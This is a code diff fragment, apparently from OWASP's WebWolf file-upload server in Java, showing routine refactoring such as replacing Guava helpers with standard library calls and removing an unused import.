log.debug("File saved to {}", new File(destinationDir, myFile.getOriginalFilename()));
Files.touch(new File(destinationDir, user.getUsername() + "_changed"));
Files.createFile(new File(destinationDir, user.getUsername() + "_changed").toPath());
ModelMap model = new ModelMap();
model.addAttribute("uploadSuccess", "File uploaded successful");
@ -111,7 +104,7 @@ public class FileServer {
}
changeIndicatorFile.delete();
List<UploadedFile> uploadedFiles = Lists.newArrayList();
var uploadedFiles = new ArrayList<>();
File[] files = destinationDir.listFiles(File::isFile);
if (files != null) {
for (File file : files) {
@ -122,7 +115,7 @@ public class FileServer {
}
modelAndView.addObject("files", uploadedFiles);
modelAndView.addObject("webwolf_url", "http://" + server +":" + port);
modelAndView.addObject("webwolf_url", "http://" + server + ":" + port);
return modelAndView;
}
}

View File

@ -22,7 +22,6 @@
package org.owasp.webwolf.requests;
import lombok.extern.slf4j.Slf4j;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;